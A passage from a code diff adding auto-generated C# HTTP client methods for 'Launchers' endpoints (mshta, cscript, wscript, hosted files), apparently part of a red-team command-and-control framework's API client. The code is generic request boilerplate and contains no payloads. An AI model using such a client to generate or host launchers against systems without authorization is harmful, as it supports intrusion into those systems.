deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersMshtaGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersMshtaGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/mshta").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersMshtaPutWithHttpMessagesAsync(MshtaLauncher mshtaLauncher = default(MshtaLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("mshtaLauncher", mshtaLauncher); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersMshtaPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/mshta").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(mshtaLauncher != null) + { + _requestContent = SafeJsonConvert.SerializeObject(mshtaLauncher, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersMshtaPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersMshtaPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/mshta").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersMshtaHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("hostedFile", hostedFile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersMshtaHostedPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/mshta/hosted").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(hostedFile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(hostedFile, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersCscriptGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersCscriptGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/cscript").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersCscriptPutWithHttpMessagesAsync(CscriptLauncher cscriptLauncher = default(CscriptLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cscriptLauncher", cscriptLauncher); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersCscriptPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/cscript").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(cscriptLauncher != null) + { + _requestContent = SafeJsonConvert.SerializeObject(cscriptLauncher, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersCscriptPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersCscriptPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/cscript").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersCscriptHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("hostedFile", hostedFile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersCscriptHostedPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/cscript/hosted").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(hostedFile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(hostedFile, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersWscriptGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersWscriptGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/wscript").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + 